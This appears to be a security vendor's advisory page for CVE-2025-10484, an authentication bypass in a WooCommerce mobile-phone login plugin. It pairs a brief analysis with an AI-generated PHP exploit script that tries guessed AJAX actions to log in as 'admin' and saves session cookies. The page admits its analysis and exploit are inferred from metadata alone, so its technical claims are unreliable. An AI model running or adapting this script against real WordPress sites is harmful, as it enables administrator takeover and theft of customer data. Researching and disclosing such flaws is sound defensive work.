Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-10484: Registration & Login with Mobile Phone Number for WooCommerce <= 1.3.1 – Authentication Bypass (registration-login-with-mobile-phone-number)

Severity Critical (CVSS 9.8)
CWE 288
Vulnerable Version 1.3.1
Patched Version
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-10484 (metadata-based):
The Registration & Login with Mobile Phone Number for WooCommerce plugin contains an authentication bypass vulnerability affecting all versions up to and including 1.3.1. This vulnerability allows unauthenticated attackers to authenticate as any WordPress user, including administrators, without requiring valid credentials. The CVSS 3.1 score of 9.8 (Critical) reflects the complete loss of authentication controls across the network with no user interaction required.

Atomic Edge research indicates the root cause is improper identity verification within the fma_lwp_set_session_php_fun() function. The CWE-288 classification confirms this is an authentication bypass using an alternate path or channel. The plugin likely implements a custom authentication mechanism that accepts user identifiers without validating ownership or possession of required credentials. This analysis is inferred from the CWE classification and vulnerability description, as source code verification was not possible.

Exploitation involves sending a crafted request to the vulnerable function endpoint. WordPress plugin patterns suggest this function is exposed via an AJAX handler or REST API endpoint. The most probable attack vector targets /wp-admin/admin-ajax.php with an action parameter containing the plugin prefix. An attacker would send a POST request with parameters specifying the target user ID or username. The payload would trigger the fma_lwp_set_session_php_fun() function to establish an authenticated session for the specified user without password validation.

The patched version 1.3.2 likely implements proper authentication checks before establishing user sessions. Remediation requires verifying user identity through WordPress core authentication functions or validating possession of the registered mobile phone number. The fix should ensure the fma_lwp_set_session_php_fun() function only processes requests from already authenticated users or includes strong cryptographic verification of user ownership.

Successful exploitation grants attackers full administrative privileges on vulnerable WordPress sites. Attackers can create new administrator accounts, modify plugin and theme files, inject malicious code, exfiltrate sensitive data including customer information and payment details, and maintain persistent backdoor access. This vulnerability completely compromises site integrity and data confidentiality.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-10484 - Registration & Login with Mobile Phone Number for WooCommerce <= 1.3.1 - Authentication Bypass
<?php
/**
 * Proof of Concept for CVE-2025-10484
 * Assumptions based on WordPress plugin patterns:
 * 1. The vulnerable function fma_lwp_set_session_php_fun() is exposed via AJAX
 * 2. The AJAX action name follows plugin naming conventions
 * 3. The function accepts user identifier parameters without authentication
 * 4. No nonce or capability checks are performed
 */

$target_url = 'https://vulnerable-site.com';
$target_user = 'admin'; // Username or ID of user to impersonate

// Construct AJAX endpoint - common WordPress AJAX handler
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Determine likely AJAX action name based on plugin slug
// Plugin slug: registration-login-with-mobile-phone-number
// Common patterns: fma_lwp_ (function prefix), rlwmpn_ (abbreviation), or full slug
$possible_actions = [
    'fma_lwp_set_session_php_fun', // Direct function name
    'fma_lwp_ajax_auth',           // Generic AJAX handler
    'rlwmpn_set_session',          // Abbreviated slug
    'registration_login_mobile_set_session' // Descriptive
];

foreach ($possible_actions as $action) {
    echo "[*] Testing action: $actionn";
    
    $post_data = [
        'action' => $action,
        'user_id' => $target_user,      // Common parameter name
        'username' => $target_user,     // Alternative parameter
        'user_login' => $target_user,   // WordPress standard
        'mobile_number' => 'any_value', // Plugin-specific parameter
        'nonce' => 'bypassed'           // Nonce likely not verified
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HEADER => true,
        CURLOPT_COOKIEJAR => 'cookies.txt',
        CURLOPT_COOKIEFILE => 'cookies.txt',
        CURLOPT_FOLLOWLOCATION => true
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "    HTTP Code: $http_coden";
    
    // Check for successful authentication indicators
    if (strpos($response, 'Set-Cookie: wordpress_logged_in') !== false) {
        echo "[+] SUCCESS: Authentication bypass achievedn";
        echo "[+] Session cookies saved to cookies.txtn";
        break;
    }
    
    if (strpos($response, 'success') !== false || strpos($response, 'true') !== false) {
        echo "[+] Possible success - check cookies.txt for sessionn";
        break;
    }
}

// Verify authentication by accessing admin page
if (file_exists('cookies.txt')) {
    $ch = curl_init($target_url . '/wp-admin/');
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => 'cookies.txt',
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    $admin_response = curl_exec($ch);
    curl_close($ch);
    
    if (strpos($admin_response, 'Dashboard') !== false) {
        echo "[+] CONFIRMED: Admin dashboard accessed successfullyn";
    }
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School